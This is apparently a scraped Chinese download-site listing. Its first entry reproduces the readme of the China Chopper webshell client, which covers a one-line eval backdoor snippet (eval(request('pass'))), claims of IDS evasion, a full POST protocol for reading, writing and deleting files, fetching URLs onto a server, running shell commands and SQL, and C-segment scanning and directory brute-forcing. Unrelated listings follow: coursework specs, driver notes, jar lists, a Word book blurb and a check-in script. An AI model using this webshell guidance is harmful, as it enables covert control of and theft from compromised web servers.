产品名称:中国菜刀(Chinachopper)生产厂家:中国菜刀贸易有限公司厂家地址:http://www.maicaidao.com/----------------------------------------------------------------------------------------------------------免责申明: 请使用者注意使用环境并遵守国家相关法律法规! 由于使用不当造成的后果本厂家不承担任何责任!----------------------------------------------------------------------------------------------------------友情提示:程序在使用过程中难免有各种BUG,到官网看一下是否有更新吧,说不定己经修补了呢。
UINCODE方式编译,支持多国语言输入显示。
在非简体中文环境下使用,自动更换成英文界面,翻译有误的地方请留言指正。
一、脚本客户端(包括但不限于EVAL)部分  1)要了解的  服务端只需要简单的一行代码,即可用此程序实现常用的管理功能,功能代码二次编码后发送,过IDS的能力大幅提高。
  目前支持的服务端脚本:PHP,ASP,ASP.NET,并且支持https安全连接的网站。
  在服务端运行的代码如下:  PHP:  ASP:  ASP.NET: (注意:ASP.NET要单独一个文件或此文件也是Jscript语言)  Customize: 自定义类型,功能代码在服务端保存,理论上支持所有动态脚本,只要正确与菜刀进行交互即可。
  2)怎么用  在主视图中右键/添加,在弹出的对话框中输入服务端地址,连接的密码(请注意上例中的pass字串),选择正确的脚本类型和语言编码,  保存后即可使用文件管理,虚拟终端,数据库管理三大块功能,同时支持自定义的脚本执行,并可以导入导出数据。
  要是其它都没错误,那么可能就是你把语言编码选错了。
  1.文件管理:[特色]缓存下载目录,并支持离线查看缓存目录;  2.虚拟终端:[特色]人性化的设计,操作方便;(输入HELP查看更多用法)  3.数据库管理:[特色]图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS 以及支持ADO方式连接的数据库。
(各种脚本条件下的数据库连接方法请点击数据库管理界面左上角处的配置按钮查看)  注意:由于服务器的安全设置,某些功能可能不能正常使用。
  3)关于配置信息怎么填? A)数据库方面: PHP脚本: 类型类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种 主机地址主机地址可为机器名或IP地址,如localhost 数据库用户连接数据库的用户名,如root 数据库密码连接数据库的密码,如123455 ASP和ASP.NET脚本: 类型类型只能填ADO ADO配置信息 ADO连接各种数据库的方式不一样。
如MSSQL的配置信息为 Driver={SqlServer};Server=(local);Database=master;Uid=sa;Pwd=123456; 同时,支持NT验证登录MSSQL数据库,并能把查询的结果列表导出为html文件 Customize脚本: 类型类型只能填XDB 与Customize脚本约定的配置信息 菜刀自带的server.jsp数据库参数填写方法如下(两行): MSSQL:com.microsoft.sqlserver.jdbc.SQLServerDriverjdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456 MYSQL:com.mysql.jdbc.Driverjdbc:mysql://localhost/test?user=root&password=123456 ORACLE:oracle.jdbc.driver.OracleDriverjdbc:oracle:thin:user/password@127.0.0.1:1521/test B)其它方面: 添加额外附加提交的数据,如ASP的新服务端是这样的: 那么,菜刀在配置处填入: SC=function+ff(Server,Response,Request,Application,Session,Error):eval(request("pass")):end+function 然后以密码pass来连接即可。
提交功能前先POST额外的数据包:会话期间只提交一次。
https://target.com/cgi-bin/login.cgi uid=user1&pwd=123456  3)关于HTTP登录验证 SHELL地址这样填http://user:pass@server/server.asp 用户名密码中的特殊字符可用URL编码转换。
二、安全扫描  蜘蛛爬行,绑定域名查询,目录爆破。
  命令解释: A)查单一IP的绑定域名 {reverse_ip}{url:http://www.test.com/} B)扫描本C段开放的WEB服务器,并查询绑定域名 {reverse_ip_c}{url:http://www.test.com/} C)只扫描本C段开放的WEB服务器 {reverse_ip_c}{url:http://www.test.com/}{port} D)蜘蛛爬行 {spider}{url:http://www.test.com/} E)蜘蛛爬行,并设定爬行范围 {spider}{url:http://www.test.com/}{range:test.com} F)蜘蛛爬行,过滤重复URL加快速度 加上{filter} G)爆破功能,%s为dict中的一行 flag:后面为返回的数据(含HTTP头部)中的特定关键字 加!!为不包含关键字为TRUE,否则包含关键字为TRUE list.txt为当前目录下的文件,可设为绝对路径,注意:不要包含太多的行。
注:从20100626版开始,list.txt一定要是UNICODE格式的文本文件 {crack}{url:http://%s/admin/}{flag:HTTP/1.1200}{dict:list.txt} {crack}{url:http://%s/admin/}{flag:!!HTTP/1.1404}{dict:list.txt} {crack}{url:http://www.test.com/%s/}{flag:successfully}{dict:list.txt}三、定时提醒  当闹钟来用吧,周期:每月/每周/每日/只一次。
四、快速启动  一些常用的快捷方式放在这里,可以指定用户身份运行程序。
这部分数据是加密存储的。
五、浏览器  就是一个专用的网页浏览器:Post浏览/自定义Cookies,/执行自定义脚本/自动刷新页面/同IP网页搜索。
六、其它部分  等待加入。
文件说明:------------------------------------------------------------------chopper.exe 菜刀程序db.mdb 菜刀的主数据库------------------------------------------------------------------cache.tmp 菜刀的缓存数据库(可删除)readme.txt 你现在正在看的(可删除)[目录]Script 存放菜刀的自写脚本和Customize模式Jsp的一个服务端文件(可删除)----附---------------------------Customize模式菜刀和服务端通信接口---------------------------------------------------------------------------------------------------其它语言的服务端代码可按此接口来编写(请参照server.jsp/server.cfm)---------------------例:菜刀客户端填写的密码为pass,网页编码选的是GB2312注:所有参数都以POST提交,返回的数据都要以->|为开始标记,|<-为结束标记注:返回的错误信息开头包含ERROR://注:\t代表制表符TAB,\r\n代表换行回车,\n代表回车注:数据库配置信息是一个字符串,服务端脚本可以对此字符串格式进行自定义。
--------------------------------------------------------------------------------------------------------------------------------------------------------[得到当前目录的绝对路径]提交:pass=A&z0=GB2312返回:目录的绝对路径\t,如果是Windows系统后面接着加上驱动器列表示例:c:\inetpub\wwwroot\ C:D:E:K:示例:/var/www/html/ [目录浏览]提交:pass=B&z0=GB2312&z1=目录绝对路径返回:先目录后文件,目录名后要加/,文件名后不要加/示例: 目录名/\t时间\t大小\t属性\n目录名/\t时间\t大小\t属性\n 文件名\t时间\t大小\t属性\n文件名\t时间\t大小\t属性\n[读取文本文件]提交:pass=C&z0=GB2312&z1=文件绝对路径返回:文本文件的内容[写入文本文件]提交:pass=D&z0=GB2312&z1=文件绝对路径&z2=文件内容返回:成功返回1,不成功返回错误信息[删除文件或目录]提交:pass=E&z0=GB2312&z1=文件或目录的绝对路径返回:成功返回1,不成功返回错误信息[下载文件]提交:pass=F&z0=GB2312&z1=服务器文件的绝对路径返回:要下载文件的内容[上传文件]提交:pass=G&z0=GB2312&z1=文件上传后的绝对路径&z2=文件内容(十六进制文本格式)返回:要下载文件的内容[复制文件或目录后粘贴]提交:pass=H&z0=GB2312&z1=复制的绝对路径&z2=粘贴的绝对路径返回:成功返回1,不成功返回错误信息[文件或目录重命名]提交:pass=I&z0=GB2312&z1=原名(绝对路径)&z2=新名(绝对路径)返回:成功返回1,不成功返回错误信息[新建目录]提交:pass=J&z0=GB2312&z1=新目录名(绝对路径)返回:成功返回1,不成功返回错误信息[修改文件或目录时间]提交:pass=K&z0=GB2312&z1=文件或目录的绝对路径&z2=时间(格式:yyyy-MM-ddHH:mm:ss)返回:成功返回1,不成功返回错误信息[下载文件到服务器]提交:pass=L&z0=GB2312&z1=URL路径&z2=下载后保存的绝对路径返回:成功返回1,不成功返回错误信息[执行Shell命令(Shell路径前会根据服务器系统类型加上-c或/c参数)]提交:pass=M&z0=GB2312&z1=(-c或/c)加Shell路径&z2=Shell命令返回:命令执行结果[得到数据库基本信息]提交:pass=N&z0=GB2312&z1=数据库配置信息返回:成功返回数据库(以制表符\t分隔),不成功返回错误信息[获取数据库表名]提交:pass=O&z0=GB2312&z1=数据库配置信息\r\n数据库名返回:成功返回数据表(以\t分隔),不成功返回错误信息[获取数据表列名]提交:pass=P&z0=GB2312&z1=数据库配置信息\r\n数据库名\r\n数据表名返回:成功返回数据列(以制表符\t分隔),不成功返回错误信息[执行数据库命令]提交:pass=Q&z0=GB2312&z1=数据库配置信息\r\n数据库名&z2=SQL命令返回:成功返回数据表内容,不成功返回错误信息注意:返回的第一行为表头,接下去每行分别在列表中显示,列数要求一致。
行中的每列后加上\t|\t标记,每行以标记\r\n为结束
2024/10/23 12:54:30 197KB hacker
1
在同一个解决方案中,分别编写服务端程序和客户端程序,利用HTTP和流传输实现下载功能,具体要求如下:(1)服务端程序选择【WCF应用程序】模板,客户端程序选择【WPF应用程序】模板(2)客户端运行时,先通过WCF服务获取可供下载的文件名文件长度并将其显示出来,当用户选择要下载的列表项后,单击【开始下载】按钮实现下载功能。
2024/10/23 12:32:26 131KB WCFHTTP
1
驱动安装  1.标准INF文件安装方法  WINDOWS提示找到新硬件,指定驱动程序所在目录DRIVER,自动安装驱动,  如果WINDOWS没有提示找到新硬件,那么在设备管理器的硬件列表中,  选择带问号的USB设备,更新驱动程序并指定目录。
  2.使用驱动程序安装工具  直接使用CH341SER.EXE安装包,可以安装/升级/卸载驱动程序,  该方法更适用于最终用户。
2024/10/21 13:40:33 199KB 驱动 盒子 刷机
1
检查或修复数据库:对所有数据表进行检查修复工作。
快速设置(SQL):可以运行任意SQL语句,请慎用。
编码检测修复:对所有数据表进行编码检查和修复。
修改配置文件:配置文件修改助手导入数据库备份:一次性导入论坛数据备份。
找回管理员:将把您指定的会员设置为管理员,也可以重新设置密码。
社区医生:自动检查您的论坛配置文件情况,系统环境信息以及错误报告。
搜索未知文件:检查论坛程序目录下的非Discuz!官方文件。
修复最后回复:修复版块最后回复。
批量修复主题:某些帖子页面会出现未定义操作,可以用批量修复主题的功能修复下。
数据库冗余数据清理:对您的数据进行有效性检查,删除冗余数据信息。
附件保存方式:将您现在的附件存储方式按照指定方式进行目录结构调整并重新存储。
应用过滤规则:按照论坛后台中设置的词语过滤列表,可选择性的对所有帖子进行处理,帖子将按照过滤规则进行处理。
更新缓存:清除缓存。
2024/10/20 7:15:03 18KB dz discuz x3.1 tools
1
校园闲置物品交易系统项目简介本项目将买家端和卖家端合并为一个整体,分为五个主体功能-首页,推荐,发布,购物车及我的。
首页包括分类导航,搜索,物品列表。
推荐包含推荐悬浮按钮,物品列表。
发布包含一个表单,用户需要输入名称,价格,数量,描述,选择类型并上传图片后,就可以点击发布按钮将商品发布到平台上。
购物车包括购物车管理及推荐,购物车管理包括删除,结算功能。
我的包含地址管理,订单管理,发布管理,密码修改,反馈及退出。
技术栈本项目采用前阶段分离的模式进行开发,具体用到的技术如下:前端网络包vue.js手写笔打字稿轴距初步koa2sequelizeORMMySQL的bcrypt.js笑话使用注意:项目拉取到本地后,您需要在数据库创建数据库和相应的几张表。
具体要创建该表,请到服务器文件夹下的模型挨个创建。
#installdependenciesnpmi#runclientonport8080npmrundev#runserveronport3000npmrundev-server
2024/10/19 18:08:26 4.62MB javascript mysql koa typescript
1
ha_FtpList非常好用文件夹目录树列表小工具!实用
2024/10/18 4:28:26 96KB FtpList 目录树 列表
1
JavaWeb项目中常用的commons相关jar包文件列表:commons-attributes-api-2.1.jarcommons-beanutils-1.8.2.jarcommons-beanutils-bean-collections-1.8.2.jarcommons-beanutils-core-1.8.2.jarcommons-codec-1.3.jarcommons-collections-3.2.1.jarcommons-collections-testframework-3.2.1.jarcommons-dbcp-1.2.1.jarcommons-digester.jarcommons-discovery-0.2.jarcommons-fileupload-1.2.1.jarcommons-httpclient-3.0.jarcommons-io-1.2.jarcommons-jexl-1.1.jarcommons-lang-2.4.jarcommons-logging-1.1.1.jarcommons-logging-adapters-1.1.1.jarcommons-logging-api-1.1.1.jarcommons-logging-tests.jarcommons-pool-1.1.jar
2024/10/17 8:57:03 2.22MB commons.jar
1
Java聊天室程序需求分析2.1业务需求 1.与聊天室成员一起聊天。
2.可以与聊天室成员私聊。
3.可以改变聊天内容风格。
4.用户注册(含头像)、登录。
5.服务器监控聊天内容。
6.服务器过滤非法内容。
7.服务器发送通知。
8.服务器踢人。
9.保存服务器日志。
10.保存用户聊天信息。
2.2系统功能模块2.2.1服务器端 1.处理用户注册 2.处理用户登录 3.处理用户发送信息 4.处理用户得到信息 5.处理用户退出2.2.2客户端 1.用户注册界面及结果 2.用户登录界面及结果 3.用户发送信息界面及结果 4.用户得到信息界面及结果 5.用户退出界面及结果2.3性能需求 运行环境:Windows9x、2000、xp、2003,Linux 必要环境:JDK1.5以上 硬件环境:CPU400MHz以上,内存64MB以上 3.1.2 客户端结构 ChatClient.java为客户端程序启动类,负责客户端的启动和退出。
Login.java为客户端程序登录界面,负责用户帐号信息的验证与反馈。
Register.java为客户端程序注册界面,负责用户帐号信息的注册验证与反馈。
ChatRoom.java为客户端程序聊天室主界面,负责接收、发送聊天内容与服务器端的Connection.java亲密合作。
Windowclose为ChatRoom.java的内部类,负责监听聊天室界面的操作,当用户退出时返回给服务器信息。
Clock.java为客户端程序的一个小程序,实现的一个石英钟功能。
3.2系统实现原理当用户聊天时,将当前用户名、聊天对象、聊天内容、聊天语气和是否私聊进行封装,然后与服务器建立Socket连接,再用对象输出流包装Socket的输出流将聊天信息对象发送给服务器端当用户发送聊天信息时,服务端将会收到客户端用Socket传输过来的聊天信息对象,然后将其强制转换为Chat对象,并将本次用户的聊天信息对象添加到聊天对象集Message中,以供所有聊天用户访问。
接收用户的聊天信息是由多线程技术实现的,因为客户端必须时时关注更新服务器上是否有最新消息,在本程序中设定的是3秒刷新服务器一次,如果间隔时间太短将会增加客户端与服务器端的通信负担,而间隔时间长就会让人感觉没有时效性,所以经过权衡后认为3秒最佳,因为每个用户都不可能在3秒内连续发送信息。
当每次用户接收到聊天信息后将会开始分析聊天信息然后将适合自己的信息人性化地显示在聊天信息界面上。
4.1.1问题陈述1.接受用户注册信息并保存在一个基于文件的对象型数据库。
2.能够允许注册过的用户登陆聊天界面并可以聊天。
3.能够接受私聊信息并发送给特定的用户。
4.服务器运行在自定义的端口上#1001。
5.服务器监控用户列表和用户聊天信息(私聊除外)。
6.服务器踢人,发送通知。
7.服务器保存日志。
2024/10/16 14:54:49 1.08MB java 源代码 聊天
1
QTList树形列表界面,左边是菜单栏,右边是显示区域,
2024/10/16 2:51:25 9KB QT界面
1
Word、PPT、Excel,哪一个值得你花精力去学习?我认为是Word,因为Word软件的使用频率高,所以学习以后为你的办公能力带来的提升很大,学会Word能够为你节约很多的工作时间。
有一个段子是这么说的——“我很小的时候就明白了,系鞋带会浪费掉一生中的三年光阴,于是我从不买有鞋带的鞋子。
很多事情你得研究透彻,讲究效率。
”这句话不是我说的,是CNN创办人特德·特纳说的。
花费时间研究常用的软件,可以帮助你节约大量的时间,时间才是人宝贵的财富。
本书精心编排知识点,从正确的使用习惯开始,让你从“以为自己会Word”,成为“真正的Word达人”,从而让你在职场中更高效、更专业。
Chapter1大众误区:为什么我用起来会费劲?11.1Word那么强,你却把它当记事本用?21.2该死的,我又没有保存Word!61.3我保存错了怎么恢复到之前的版本?71.4让你战斗力瞬间飙涨10000+的快捷键!81.5屏幕上你看到的,不一定都会被打印!121.6被滥用的空格键!141.7回车还有软硬之分?161.8回车并不是用来调节段落间距的!181.9靠空格来控制文字位置?看标尺!201.10文字怎么总是对不齐?试试制表位吧!231.11你听说过段落样式吗?281.12拉仇恨的Word自动编号!301.13Word页面忽大忽小,怎么恢复原状?321.14留心观察Word界面,你会发现更多!331.15老板永远打不开的Word!351.16PDF可以完整地转换为Word吗?361.17Word遇到问题还得找Word!38Chapter2排版流程:这样做才专业!392.1排版流程:了解科学排版的过程402.2样式:Word排版工程的灵魂442.3主题:Office永远提供捷径552.4题注:图表自动编号全靠它612.5模板:搞定模板终生受益662.6输出:Word排版定妆术72Chapter3排版之道:怎么排版会好看?793.1好看的版面有规律803.2无声胜有声:留白的魔力843.3该挤的要挤一挤:好身材靠聚拢903.4美人都有齐刘海:对齐很重要933.5山青花欲燃:对比的力量1023.6山重水又复:重复才有氛围1103.7回顾:好看的版面有哪些原则1153.8锦上添花:图片排版术1213.9图表:不止有图和表而已1403.10图文关系的N种可能:图文混排145Chapter4排版特技:被你忽视的排版秘笈1504.1高度自定义的自动目录1514.2特殊位置的多重页码系统1594.3个性化注释的制作和设置1684.4高度自动化的关键词引用和罗列1774.5利用查找和替换迅速完成版面整理183Chapter5学霸之路:长文档编辑技巧1945.1论文(长文档)排版准备篇1955.2排版页面构造及其设置1965.3论文结构及整体规划1995.4段落样式与多级列表2045.5复杂情况下的页眉与页脚(页码)2165.6论文目录与图表编号自动化2255.7科技论文表格的制作与编排2305.8科技论文图片编排2365.9公式录入与编排2425.10参考文献的制作与引用248Chapter6职场之道:不加班,要加薪!2606.1不加班:表格的快速处理2616.2不加班:连席卡都做得又快又好2836.3多加薪:利用邮件发布迅速完成工作2936.4多加薪:有意见一定要用审阅和修订305后记315
2024/10/14 15:03:53 49.9MB Word Office
1
共 1000 条记录 首页 上一页 下一页 尾页
在日常工作中,钉钉打卡成了我生活中不可或缺的一部分。然而,有时候这个看似简单的任务却给我带来了不少烦恼。 每天早晚,我总是得牢记打开钉钉应用,点击"工作台",再找到"考勤打卡"进行签到。有时候因为工作忙碌,会忘记打卡,导致考勤异常,影响当月的工作评价。而且,由于我使用的是苹果手机,有时候系统更新后,钉钉的某些功能会出现异常,使得打卡变得更加麻烦。 另外,我的家人使用的是安卓手机,他们也经常抱怨钉钉打卡的繁琐。尤其是对于那些不太熟悉手机操作的长辈来说,每次打卡都是一次挑战。他们总是担心自己会操作失误,导致打卡失败。 为了解决这些烦恼,我开始思考是否可以通过编写一个全自动化脚本来实现钉钉打卡。经过一段时间的摸索和学习,我终于成功编写出了一个适用于苹果和安卓系统的钉钉打卡脚本。
2024-04-09 15:03 15KB 钉钉 钉钉打卡